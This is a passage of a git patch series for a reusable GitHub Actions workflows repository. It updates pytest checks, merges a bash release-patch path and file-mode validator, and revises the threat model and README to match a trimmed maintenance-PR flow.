pytest.param("sdist", "๐Ÿ“ฆ Export locked build constraints", id="sdist"), + ], +) +def test_source_download_overlaps_uv_setup_and_is_joined_before_use( + workflow: JsonObject, job: str, first_use: str +) -> None: + names = [item["name"] for item in steps(workflow, job)] + + assert step(workflow, job, "๐Ÿ“ฉ Download source")["background"] == "true" + assert names.index("๐Ÿ“ฉ Download source") < names.index("๐Ÿ Install uv and Python") + assert names.index("๐Ÿ Install uv and Python") < names.index("โณ Wait for source") < names.index(first_use) + assert step(workflow, job, "โณ Wait for source")["wait"] == "download" + + def test_no_job_requests_a_write_token(workflow: JsonObject) -> None: for name, job in mapping(workflow["jobs"]).items(): assert mapping(job).get("permissions", {}) in ({}, {"contents": "read"}), name diff --git a/tests/check_workflow/test_check.py b/tests/check_workflow/test_check.py index a7cbc16..bd24653 100644 --- a/tests/check_workflow/test_check.py +++ b/tests/check_workflow/test_check.py @@ -62,16 +62,86 @@ def test_test_run_reuses_built_environment_with_inputs() -> None: assert at(suite, "env", "DIFF_AGAINST") == "${{ inputs.diff-against }}" -def test_python_is_installed_only_for_rows_that_name_one() -> None: - install = step(WORKFLOW, "test", "๐Ÿ Install Python") - assert install["if"] == "${{ matrix.python }}" - assert install["env"] == {"PYTHON": "${{ matrix.python }}"} +def test_installs_run_in_background_and_are_joined_before_the_suite() -> None: + names = [item["name"] for item in steps(WORKFLOW, "test")] + joins = { + "๐Ÿ“ฆ Install apt packages": "โณ Wait for apt packages", + "๐Ÿ“ฆ Install tox": "โณ Wait for tox", + "๐Ÿ Install Python": "โณ Wait for Python", + } + + for install, join in joins.items(): + assert step(WORKFLOW, "test", install)["background"] == "true" + assert names.index(install) < names.index(join) < names.index("๐Ÿ“ฆ Set up test suite") + assert step(WORKFLOW, "test", join)["wait"] == step(WORKFLOW, "test", install)["id"] + assert names.index("๐Ÿ Install uv and Python") < names.index("๐Ÿ“ฆ Install tox") + + +@pytest.mark.parametrize( + ("python", "expected"), + [ + pytest.param("", [], id="row-without-python"), + pytest.param( + "3.14", + [["python", "install", "--python-preference", "only-managed", "3.14"]], + id="row-with-python", + ), + ], +) +def test_python_is_installed_only_for_rows_that_name_one( + tmp_path: Path, python: str, expected: list[list[str]] +) -> None: + calls = _run_install(tmp_path, "๐Ÿ Install Python", {"PYTHON": python}, ("uv",)) + assert calls.get("uv", []) == expected + + +@pytest.mark.parametrize( + ("runner_os", "packages", "expected"), + [ + pytest.param( + "Linux", + "libfoo libbar", + [["apt-get", "update"], ["apt-get", "install", "-y", "libfoo", "libbar"]], + id="linux", + ), + pytest.param("Linux", "", [], id="linux-without-packages"), + pytest.param("Windows", "libfoo", [], id="windows"), + ], +) +def test_apt_packages_install_on_linux_only( + tmp_path: Path, runner_os: str, packages: str, expected: list[list[str]] +) -> None: + calls = _run_install( + tmp_path, + "๐Ÿ“ฆ Install apt packages", + {"APT_PACKAGES": packages, "RUNNER_OS": runner_os}, + ("sudo",), + ) + assert calls.get("sudo", []) == expected -def test_apt_packages_install_on_linux_only() -> None: - install = step(WORKFLOW, "test", "๐Ÿ“ฆ Install apt packages") - assert install["if"] == "${{ inputs.apt-packages != '' && runner.os == 'Linux' }}" - assert install["env"] == {"APT_PACKAGES": "${{ inputs.apt-packages }}"} +def _run_install( + tmp_path: Path, name: str, env: dict[str, str], commands: tuple[str, ...] +) -> dict[str, list[list[str]]]: + stub = tmp_path / "bin" + stub.mkdir() + recorded = {command: tmp_path / f"{command}-calls" for command in commands} + for command, calls in recorded.items(): + (stub / command).write_text(f'#!/usr/bin/env bash\nprintf \'%s\\n\' "$*" >>"{calls}"\n') + (stub / command).chmod(0o755) + result = subprocess.run( + ["bash", "-c", text(step(WORKFLOW, "test", name)["run"])], + env={"PATH": f"{stub}{os.pathsep}{os.environ['PATH']}"} | env, + text=True, + capture_output=True, + check=False, + ) + assert result.returncode == 0, result.stderr + return { + command: [line.split() for line in calls.read_text().splitlines()] + for command, calls in recorded.items() + if calls.exists() + } def test_coverage_upload_is_opt_in_and_named_per_job() -> None: diff --git a/tests/open_maintenance_pr/test_open.py b/tests/open_maintenance_pr/test_open.py index 1a8c2ef..f241f1c 100644 --- a/tests/open_maintenance_pr/test_open.py +++ b/tests/open_maintenance_pr/test_open.py @@ -6,7 +6,7 @@ from typing import TYPE_CHECKING, Final import pytest -from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run, run_workflow_step, steps, text, workflow_step +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run, run_workflow_step, steps, text if TYPE_CHECKING: import subprocess @@ -140,8 +140,8 @@ def test_check_rejects_empty_allowed_paths(repository: Path, tmp_path: Path) -> assert "allowed-paths lists no pattern" in result.stderr -def test_writer_repeats_the_validation_step() -> None: - assert workflow_step(_WORKFLOW, "validate", _CHECK)["run"] == workflow_step(_WORKFLOW, "open", _CHECK)["run"] +def test_writer_trusts_the_validated_digest(workflow: JsonObject) -> None: + assert _CHECK not in [item.get("name") for item in steps(workflow, "open")] def test_digest_step_records_sha256(repository: Path, tmp_path: Path) -> None: @@ -277,6 +277,21 @@ def test_open_job_is_gated_on_a_clean_validation(workflow: JsonObject, key: str, assert at(workflow, "jobs", "open", key) == expected -def test_app_token_is_minted_after_the_check(workflow: JsonObject) -> None: +def test_app_token_is_minted_after_the_digest_is_verified(workflow: JsonObject) -> None: names = [item.get("name") for item in steps(workflow, "open")] - assert names.index("๐Ÿ”‘ Create release App token") > names.index(_CHECK) + assert names.index("๐Ÿ”‘ Create release App token") > names.index("๐Ÿ” Verify the validated patch digest") + assert names.index("๐Ÿ”’ Apply maintenance patch") > names.index("๐Ÿ” Verify the validated patch digest") + + +def test_body_step_writes_the_requested_pull_request_body(repository: Path, tmp_path: Path) -> None: + result, _ = run_workflow_step( + _WORKFLOW, + "open", + "๐Ÿ“ Write maintenance pull request body", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path, **{"inputs.body": "Refresh release tools."}), + env={}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "pull-request.md").read_text() == "Refresh release tools.\n" diff --git a/tests/prepare_release_creator/test_release_creator.py b/tests/prepare_release_creator/test_release_creator.py index 765e5bb..d14989b 100644 --- a/tests/prepare_release_creator/test_release_creator.py +++ b/tests/prepare_release_creator/test_release_creator.py @@ -20,6 +20,7 @@ def test_assemble_holds_no_write_token(workflow: JsonObject) -> None: def test_push_validates_before_minting_the_token(workflow: JsonObject) -> None: names = [item.get("name") for item in steps(workflow, "push")] + assert names.index("โณ Wait for release patch") < names.index("โš™๏ธ Apply release patch") assert names.index("โš™๏ธ Apply release patch") < names.index("๐Ÿ”‘ Create release App token") assert names[-1] == "๐Ÿท๏ธ Commit and tag release" diff --git a/tests/refresh_release_lock/test_refresh.py b/tests/refresh_release_lock/test_refresh.py index a82aca2..5439475 100644 --- a/tests/refresh_release_lock/test_refresh.py +++ b/tests/refresh_release_lock/test_refresh.py @@ -196,7 +196,7 @@ def test_refresh_writes_patch_for_stale_lock( assert result.returncode == 0, result.stderr assert outputs["changed"] == "true" - patch = (tmp_path / "lock.patch").read_text() + patch = (tmp_path / "maintenance.patch").read_text() assert "diff --git a/pylock.toml b/pylock.toml" in patch assert 'name = "six"' in patch assert "diff --git a/pyproject.toml" not in patch diff --git a/tests/release_workflow/test_github_release_workflow.py b/tests/release_workflow/test_github_release_workflow.py index 7becbf5..fff4a83 100644 --- a/tests/release_workflow/test_github_release_workflow.py +++ b/tests/release_workflow/test_github_release_workflow.py @@ -17,12 +17,16 @@ def test_github_release_verifies_pypi_before_publishing(workflow: JsonObject) -> names = [item["name"] for item in steps(workflow, "github-release")] assert names == [ - "๐Ÿ Install uv and Python", "๐Ÿ“ฉ Download distributions", "๐Ÿ“ฉ Download release notes", + "๐Ÿ Install uv and Python", + "โณ Wait for distributions", + "โณ Wait for release notes", "๐Ÿ” Verify PyPI artifacts", "๐Ÿš€ Publish GitHub release", ] + assert step(workflow, "github-release", "๐Ÿ“ฉ Download distributions")["background"] == "true" + assert step(workflow, "github-release", "๐Ÿ“ฉ Download release notes")["background"] == "true" def test_github_release_verifies_the_requested_version(workflow: JsonObject) -> None: diff --git a/tests/stage_jetbrains_marketplace/test_stage.py b/tests/stage_jetbrains_marketplace/test_stage.py index 6b83964..3b17c77 100644 --- a/tests/stage_jetbrains_marketplace/test_stage.py +++ b/tests/stage_jetbrains_marketplace/test_stage.py @@ -105,27 +105,3 @@ def test_rejects_archive_that_differs_from_signing_digest( ) assert result.returncode != 0 assert not (tmp_path / "release-creator.args").exists() - - -def test_rejects_unknown_mode( - action_scripts: Path, - repository: Path, - tmp_path: Path, - release_creator: Path, - signed_archive: tuple[Path, str], -) -> None: - archive, digest = signed_archive - result = action( - repository, - tmp_path, - action_scripts, - "stage-jetbrains-marketplace", - version="v1.2.3", - ARCHIVE=str(archive), - SHA256=digest, - PLUGIN_ID="com.example.plugin", - MODE="publish", - PATH=f"{release_creator}:{os.environ['PATH']}", - ) - assert result.returncode != 0 - assert not (tmp_path / "release-creator.args").exists() diff --git a/tests/update_python_dependencies/test_update.py b/tests/update_python_dependencies/test_update.py index bc29896..65be557 100644 --- a/tests/update_python_dependencies/test_update.py +++ b/tests/update_python_dependencies/test_update.py @@ -5,13 +5,26 @@ from typing import TYPE_CHECKING, Final import pytest -from conftest import WORKFLOWS, JsonObject, JsonValue, at, load_yaml, run, run_workflow_step, workflow_env +from conftest import ( + WORKFLOWS, + JsonObject, + JsonValue, + at, + load_yaml, + mapping, + run, + run_workflow_step, + step, + steps, + workflow_env, +) if TYPE_CHECKING: import subprocess _WORKFLOW: Final[str] = "update-python-dependencies.yaml" _PATCH: Final[str] = "๐Ÿ“ Write maintenance patch" +_GATE: Final[str] = "๐Ÿงน Reject hook failures that changed no file" _DEFAULTS: Final[dict[str, str]] = { "inputs.allowed-paths": "docs/*.md", "inputs.cooldown": "7 days", @@ -247,6 +260,53 @@ def test_patch_step_writes_every_change_including_new_files(repository: Path, tm assert "diff --git a/docs/new.md b/docs/new.md" in patch +def test_locked_tools_install_beside_the_bump(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "generate")] + assert step(workflow, "generate", "๐Ÿ“ฆ Install locked release tools")["background"] == "true" + assert step(workflow, "generate", "โณ Wait for locked release tools")["wait"] == "tools" + assert ( + names.index("๐Ÿ“ฆ Install locked release tools") + < names.index("๐Ÿ“ฆ Bump dependency floors") + < names.index("โณ Wait for locked release tools") + < names.index("๐Ÿ”’ Refresh release lock") + ) + + +def test_repository_hooks_run_once_after_the_lock_refresh(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "generate")] + runs = [ + item for item in steps(workflow, "generate") if mapping(item.get("with", {})).get("args") == "run --all-files" + ] + assert len(runs) == 1 + assert step(workflow, "generate", "๐Ÿงน Install prek hooks")["background"] == "true" + assert step(workflow, "generate", "๐Ÿงน Run repository hooks")["continue-on-error"] == "true" + assert step(workflow, "generate", _GATE)["if"] == "steps.hooks.outcome == 'failure'" + assert ( + names.index("๐Ÿ”’ Refresh release lock") + < names.index("โณ Wait for prek hooks") + < names.index("๐Ÿงน Run repository hooks") + < names.index(_GATE) + ) + + +def test_hook_gate_rejects_a_failure_that_changed_nothing(repository: Path, tmp_path: Path) -> None: + result, _ = run_workflow_step( + _WORKFLOW, "generate", _GATE, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} + ) + assert result.returncode != 0 + assert "repository hooks failed without changing a file" in result.stderr + + +def test_hook_gate_accepts_a_failure_that_rewrote_files(repository: Path, tmp_path: Path) -> None: + (repository / "pylock.toml").write_text("staged\n") + run(repository, "git", "add", "--all") + (repository / "pylock.toml").write_text("rewritten by a hook\n") + result, _ = run_workflow_step( + _WORKFLOW, "generate", _GATE, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} + ) + assert result.returncode == 0, result.stderr + + def test_generate_job_is_read_only(workflow: JsonObject) -> None: assert at(workflow, "jobs", "generate", "permissions") == {"contents": "read"} diff --git a/tests/upgrade_release_tools/test_upgrade.py b/tests/upgrade_release_tools/test_upgrade.py index 9c56a6f..76da4ae 100644 --- a/tests/upgrade_release_tools/test_upgrade.py +++ b/tests/upgrade_release_tools/test_upgrade.py @@ -4,20 +4,14 @@ from typing import Final import pytest -from conftest import WORKFLOWS, at, load_yaml, run, step, step_list, steps, text -from pytest_httpserver import HTTPServer +from conftest import WORKFLOWS, JsonObject, at, load_yaml, run, step, step_list, steps ROOT: Final = Path(__file__).resolve().parents[2] -@pytest.fixture(scope="session") -def publish_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: - scripts = tmp_path_factory.mktemp("publish-steps") - for item in steps(load_yaml(WORKFLOWS / "upgrade-release-tools.yaml"), "publish"): - if "run" in item: - label = text(item.get("id", text(item["name"]).split(" ", 1)[1])).replace(" ", "-").lower() - (scripts / f"publish-{label}.sh").write_text(text(item["run"])) - return scripts +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "upgrade-release-tools.yaml") @pytest.fixture @@ -54,132 +48,35 @@ def test_upgrade_emits_patch_for_lock_change(lock_repository: Path, tmp_path: Pa ) assert result.returncode == 0, result.stderr assert (tmp_path / "output").read_text() == "changed=true\n" - assert "diff --git a/pylock.toml b/pylock.toml" in (tmp_path / "lock.patch").read_text() - - -@pytest.mark.parametrize( - ("path", "additional_lock", "accepted"), - [ - pytest.param("pylock.toml", "", True, id="lock"), - pytest.param("pyproject.toml", "", False, id="project"), - pytest.param("pylock.zipapp.toml", "pylock.zipapp.toml", True, id="secondary-lock"), - pytest.param(".pre-commit-config.yaml", "", False, id="hook-config"), - pytest.param("uv.lock", "", False, id="uv-lock"), - pytest.param("other.txt", "", False, id="unrelated-file"), - ], -) -def test_upgrade_checks_lock_patch_path( - lock_repository: Path, - tmp_path: Path, - publish_scripts: Path, - path: str, - additional_lock: str, - accepted: bool, -) -> None: - (lock_repository / path).write_text("before\n") - run(lock_repository, "git", "add", ".") - run(lock_repository, "git", "commit", "-m", "Add file") - (lock_repository / path).write_text("after\n") - _save_patch(lock_repository, tmp_path, path) - result = execute( - lock_repository, - publish_scripts / "publish-check-artifact-patch-paths.sh", - tmp_path, - ADDITIONAL_LOCK=additional_lock, - ) - assert (result.returncode == 0) == accepted - assert (f"unexpected lock patch path: {path}" in result.stderr) == (not accepted) - assert run(lock_repository, "git", "status", "--porcelain").stdout == "" - - -@pytest.mark.parametrize( - "change", - [ - pytest.param("chmod 755 pylock.toml", id="executable"), - pytest.param("rm pylock.toml && ln -s other.txt pylock.toml", id="symlink"), - ], -) -def test_upgrade_rejects_unsafe_file_mode( - lock_repository: Path, tmp_path: Path, publish_scripts: Path, change: str -) -> None: - (lock_repository / "pylock.toml").write_text("before\n") - run(lock_repository, "git", "add", "pylock.toml") - run(lock_repository, "git", "commit", "-m", "Add lock") - run(lock_repository, "bash", "-c", change) - _save_patch(lock_repository, tmp_path, "pylock.toml") - applied = execute(lock_repository, publish_scripts / "publish-apply-lock-patch.sh", tmp_path) - assert applied.returncode == 0, applied.stderr - result = execute(lock_repository, publish_scripts / "publish-check-dependency-patch-file-mode.sh", tmp_path) - assert result.returncode != 0 - assert "unexpected dependency file mode" in result.stderr - - -def test_upgrade_preserves_requested_pull_request_body( - lock_repository: Path, tmp_path: Path, publish_scripts: Path -) -> None: - result = execute( - lock_repository, - publish_scripts / "publish-write-dependency-pull-request-body.sh", - tmp_path, - PR_BODY="Refresh release tools.", - ) - assert result.returncode == 0, result.stderr - assert (tmp_path / "pull-request.md").read_text() == "Refresh release tools.\n" - - -def test_upgrade_finds_only_own_dependency_pull_request( - lock_repository: Path, - tmp_path: Path, - publish_scripts: Path, - github_api: tuple[HTTPServer, dict[str, str]], -) -> None: - server, environment = github_api - server.expect_request( - "/api/v3/repos/tox-dev/fixture/pulls", - method="GET", - query_string="base=main&head=tox-dev%3Aautomation%2Fupdate-release-tools&state=open", - ).respond_with_json( - [ - { - "number": 17, - "head": {"repo": {"full_name": "attacker/fork"}, "ref": "automation/update-release-tools"}, - "base": {"ref": "main"}, - }, - { - "number": 18, - "head": {"repo": {"full_name": "tox-dev/fixture"}, "ref": "automation/update-release-tools"}, - "base": {"ref": "main"}, - }, - ] - ) - result = execute( - lock_repository, - publish_scripts / "publish-pr.sh", - tmp_path, - **environment, - GITHUB_REPOSITORY="tox-dev/fixture", - GITHUB_OUTPUT=str(tmp_path / "output"), - ) - assert result.returncode == 0, result.stderr - assert (tmp_path / "output").read_text() == "number=18\n" - - -def test_upgrade_checks_cutoff_exceptions_before_refreshing_the_lock() -> None: - workflow = load_yaml(WORKFLOWS / "upgrade-release-tools.yaml") + assert "diff --git a/pylock.toml b/pylock.toml" in (tmp_path / "maintenance.patch").read_text() + + +def test_upgrade_hands_the_patch_to_the_maintenance_writer(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "open") == { + "name": "๐Ÿ”€ Open release tools PR", + "needs": "generate-lock", + "if": "needs.generate-lock.outputs.changed == 'true'", + "permissions": {"contents": "read"}, + "uses": "$/.github/workflows/open-maintenance-pr.yaml", + "with": { + "artifact-id": "${{ needs.generate-lock.outputs.artifact-id }}", + "allowed-paths": "pylock.toml\n${{ inputs.additional-lock }}\n", + "branch": "automation/update-release-tools", + "title": "${{ inputs.pull-request-title }}", + "body": "${{ inputs.pull-request-body }}", + "labels": "dependencies\nskip news\n", + }, + "secrets": {"RELEASE_APP_PRIVATE_KEY": "${{ secrets.RELEASE_APP_PRIVATE_KEY }}"}, + } + + +def test_upgrade_checks_cutoff_exceptions_before_refreshing_the_lock(workflow: JsonObject) -> None: names = [item["name"] for item in steps(workflow, "generate-lock")] assert step(workflow, "generate-lock", "๐Ÿ“… Check cutoff exception expiry")["uses"] == "$/check-nab-exceptions" assert names.index("๐Ÿ“… Check cutoff exception expiry") < names.index("๐Ÿ”’ Refresh release lock") -def _save_patch(repository: Path, tmp_path: Path, path: str) -> None: - patch = run(repository, "git", "diff", "--binary", "--", path).stdout - run(repository, "git", "restore", path) - patch_dir = tmp_path / "release-tools-lock" - patch_dir.mkdir() - (patch_dir / "lock.patch").write_text(patch) - - def execute(repository: Path, script: Path, tmp_path: Path, **environment: str) -> subprocess.CompletedProcess[str]: return subprocess.run( ["bash", str(script)], diff --git a/validate-release-patch/action.yml b/validate-release-patch/action.yml index e5c0963..9d31826 100644 --- a/validate-release-patch/action.yml +++ b/validate-release-patch/action.yml @@ -14,39 +14,12 @@ runs: id: config if: inputs.allowed-paths == '' uses: $/read-towncrier-config - - name: ๐Ÿ” Check release patch paths - if: inputs.allowed-paths == '' + - name: ๐Ÿ” Check release patch paths and file modes shell: bash env: + ALLOWED_PATHS: ${{ inputs.allowed-paths }} CHANGELOG: ${{ steps.config.outputs.changelog }} FRAGMENTS: ${{ steps.config.outputs.fragments }} - run: | - set -euo pipefail - # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. - source "$GITHUB_ACTION_PATH/../tools/plural.sh" - git diff --cached --name-status --no-renames -z >"$RUNNER_TEMP/release-paths" - removed=0 - while IFS= read -r -d '' status && IFS= read -r -d '' path; do - if [[ "$path" == "$CHANGELOG" && ("$status" == A || "$status" == M) ]]; then - echo "Release patch path: $status $path (the changelog)" - continue - fi - if [[ "$path" != "$FRAGMENTS/"* ]]; then - echo "::error::unexpected release path: $path" >&2 - exit 1 - fi - if [[ "$status" != D ]]; then - echo "::error::unexpected release path status: $status $path" >&2 - exit 1 - fi - removed=$((removed + 1)) - done <"$RUNNER_TEMP/release-paths" - echo "Release patch paths: $(plural "$removed" fragment) removed from $FRAGMENTS" - - name: ๐Ÿ” Check release patch paths against the allowlist - if: inputs.allowed-paths != '' - shell: bash - env: - ALLOWED_PATHS: ${{ inputs.allowed-paths }} run: | set -euo pipefail # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. @@ -57,36 +30,38 @@ runs: patterns+=("$pattern") fi done <<<"$ALLOWED_PATHS" - git diff --cached --name-status --no-renames -z >"$RUNNER_TEMP/release-paths" + git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/release-changes" count=0 - while IFS= read -r -d '' status && IFS= read -r -d '' path; do - echo "Release patch path: $status $path" - matched=false - for pattern in "${patterns[@]}"; do - # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. - if [[ "$path" == $pattern ]]; then - matched=true - break + removed=0 + while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do + read -ra fields <<<"$metadata" + status=${fields[4]} + if [[ -n "$ALLOWED_PATHS" ]]; then + echo "Release patch path: $status $path" + matched=false + for pattern in "${patterns[@]}"; do + # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. + if [[ "$path" == $pattern ]]; then + matched=true + break + fi + done + if [[ "$matched" != true ]]; then + echo "::error::unexpected release path: $path" >&2 + exit 1 fi - done - if [[ "$matched" != true ]]; then + elif [[ "$path" == "$CHANGELOG" && ("$status" == A || "$status" == M) ]]; then + echo "Release patch path: $status $path (the changelog)" + elif [[ "$path" != "$FRAGMENTS/"* ]]; then echo "::error::unexpected release path: $path" >&2 exit 1 + elif [[ "$status" != D ]]; then + echo "::error::unexpected release path status: $status $path" >&2 + exit 1 + else + removed=$((removed + 1)) fi - count=$((count + 1)) - done <"$RUNNER_TEMP/release-paths" - echo "Release patch paths: $(plural "$count" path) within the allowlist" - - name: ๐Ÿ” Check release patch file modes - shell: bash - run: | - set -euo pipefail - # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. - source "$GITHUB_ACTION_PATH/../tools/plural.sh" - git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/release-modes" - count=0 - while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do - read -ra fields <<<"$metadata" - case "${fields[4]}" in + case "$status" in A) old_mode=000000 new_mode=100644 @@ -113,5 +88,10 @@ runs: exit 1 fi count=$((count + 1)) - done <"$RUNNER_TEMP/release-modes" + done <"$RUNNER_TEMP/release-changes" + if [[ -n "$ALLOWED_PATHS" ]]; then + echo "Release patch paths: $(plural "$count" path) within the allowlist" + else + echo "Release patch paths: $(plural "$removed" fragment) removed from $FRAGMENTS" + fi echo "Release patch file modes: $(plural "$count" path), each a non-executable regular file or a deletion" From 4f8ce08f870d033190cec92cfea4e06dd1175828 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 18:54:20 -0800 Subject: [PATCH 31/38] =?UTF-8?q?=F0=9F=93=9D=20docs:=20match=20the=20trim?= =?UTF-8?q?med=20maintenance=20flow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Describe the single path and mode check, the single hook pass, and the writer's digest check. Remove the commit-message input from the upgrade section. --- .github/THREAT_MODEL.md | 18 +++++++++--------- README.md | 23 ++++++++++++----------- 2 files changed, 21 insertions(+), 20 deletions(-) diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md index 4f369a2..321d6c5 100644 --- a/.github/THREAT_MODEL.md +++ b/.github/THREAT_MODEL.md @@ -61,15 +61,15 @@ An attacker who controls any of these already has what github-workflows could gi ## Threats and controls -| STRIDE | Threat | Control | -| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | -| Tampering | A maintenance patch from a job that ran project code changes a path or mode outside the caller's allowlist, or replaces a reviewed maintenance branch. | `open-maintenance-pr` checks the digest a read-only job recorded, then the paths and modes, before minting the App token. Each run force-pushes only its own branch with a lease, and the pull request still needs review. | -| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | -| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | -| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | -| Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with write permission. The mirror compares a published tag's tree, refuses different content, and pushes without force. | -| Elevation of privilege | Pull request hook code runs with the mirror job's write token. | Caller configuration: the mirror holds `contents: write` in the job that runs hooks, so callers trigger it only on pushes to `main`, schedules and dispatches. | +| STRIDE | Threat | Control | +| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | +| Tampering | A maintenance patch from a job that ran project code changes a path or mode outside the caller's allowlist, or replaces a reviewed maintenance branch. | `open-maintenance-pr` checks paths and modes in a read-only job, then verifies the digest of that patch before minting the App token. Each run force-pushes only its own branch with a lease, and the pull request still needs review. | +| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | +| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | +| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | +| Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with write permission. The mirror compares a published tag's tree, refuses different content, and pushes without force. | +| Elevation of privilege | Pull request hook code runs with the mirror job's write token. | Caller configuration: the mirror holds `contents: write` in the job that runs hooks, so callers trigger it only on pushes to `main`, schedules and dispatches. | ## Release chain diff --git a/README.md b/README.md index 8cd9d41..0dfc6bb 100644 --- a/README.md +++ b/README.md @@ -132,8 +132,9 @@ jobs: re-pinning. Tests install test, type, and documentation tools afresh to detect upstream dependency changes. The updater also refreshes a caller's secondary Nab build-matrix lock when `additional-lock` and its matrix inputs are set. -The optional `commit-message`, `pull-request-title`, and `pull-request-body` inputs replace the default text. The -workflow never updates a committed `uv.lock`. Build constraints are generated from the lock's `build` group at runtime. +The optional `pull-request-title` and `pull-request-body` inputs replace the default text, and the title is also the +commit subject. The workflow never updates a committed `uv.lock`. Build constraints are generated from the lock's +`build` group at runtime. For a second lock such as `pylock.build.toml`, set `additional-lock`, `additional-matrix-python`, `additional-matrix-platforms`, and `additional-matrix-implementations`. `additional-lock-groups` selects dependency @@ -143,8 +144,8 @@ PR. The writer accepts only those locks. Pass the same `additional-lock` and mat workflow. It checks changes to either lock against the project, including a PR that changes only the secondary lock. `refresh-release-lock` is the read-only half of the updater. In `refresh` mode, it upgrades the full primary lock and -writes `$RUNNER_TEMP/lock.patch` if a lock changes. In `check` mode, it regenerates the primary lock without upgrading -and fails if anything other than Nab's recorded command line differs. +writes `$RUNNER_TEMP/maintenance.patch` if a lock changes. In `check` mode, it regenerates the primary lock without +upgrading and fails if anything other than Nab's recorded command line differs. Check mode installs the Nab version that the committed `pylock.toml` records in `[tool.nab] nab-version`, and fails if the lock has none, because a newer Nab would rewrite that field in every committed lock. Refresh mode installs the @@ -218,11 +219,11 @@ jobs: `Update Python dependencies`, and no labels. The workflow installs the locked release tools from the caller's `release-prepare` group, so the caller's `pylock.toml` -needs that group. It runs `refresh-release-lock` to upgrade the lock with Nab, then `cooled-prek` twice: the first run -may rewrite files, and the second confirms the result is stable. Put a repository's own formatting, README generation, -and other steps in its prek hooks. Besides the locked release tools, it installs Nab from PyPI under the seven-day -cutoff, and `bump-deps-index` under `exclude-newer`, at a release that supports `--exclude-newer-group` and -`--exclude-newer-package`. +needs that group. It runs `refresh-release-lock` to upgrade the lock with Nab, then runs `cooled-prek` once. Hooks may +rewrite files; a hook failure that changes nothing fails the job, and the pull request checks verify the rewritten +result. Put a repository's own formatting, README generation, and other steps in its prek hooks. Besides the locked +release tools, it installs Nab from PyPI under the seven-day cutoff, and `bump-deps-index` under `exclude-newer`, at a +release that supports `--exclude-newer-group` and `--exclude-newer-package`. **Output:** No named output. **Remote effect:** Through `open-maintenance-pr`, one dependency pull request into `main`, or none when nothing changed. @@ -235,8 +236,8 @@ The caller uploads the patch as an artifact named `maintenance-patch` and passes The reusable workflow runs two jobs. `validate` applies the patch to a scratch index and leaves the checkout unchanged, then checks that every changed path matches `allowed-paths` and that each change is a regular non-executable file or a deletion. `open` is the only job that mints the App token. It runs in the `release-auth` environment, verifies the patch -digest that `validate` recorded, checks the paths and modes again, commits, and force-pushes `branch` with a lease. It -then edits the open pull request from `branch` into `base`, or opens one. +digest that `validate` recorded, commits, and force-pushes `branch` with a lease. It then edits the open pull request +from `branch` into `base`, or opens one. ```yaml jobs: From 61c32fcd0582c549536d2fcdd6981040e0c67949 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 19:44:07 -0800 Subject: [PATCH 32/38] =?UTF-8?q?=F0=9F=94=92=20fix(workflows):=20refuse?= =?UTF-8?q?=20untrusted=20caller=20events?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Writer jobs hold a release App token or contents write. A reusable workflow runs with its caller's event, so a pull_request, pull_request_target, workflow_run, issue_comment or merge_group caller could hand a writer pull request code. Each writer job now runs a first step that fails with an error naming the event, before any checkout or token step runs. Read-only jobs and the SHA pins are unchanged. --- .github/workflows/github-release.yaml | 10 +++ .github/workflows/latex-to-pages.yaml | 10 +++ .github/workflows/open-maintenance-pr.yaml | 10 +++ .../workflows/prepare-release-creator.yaml | 10 +++ .../workflows/prepare-towncrier-release.yaml | 10 +++ .../workflows/publish-pre-commit-mirror.yaml | 10 +++ .../test_github_release_workflow.py | 1 + tests/writer_event_guard/test_guard.py | 69 +++++++++++++++++++ 8 files changed, 130 insertions(+) create mode 100644 tests/writer_event_guard/test_guard.py diff --git 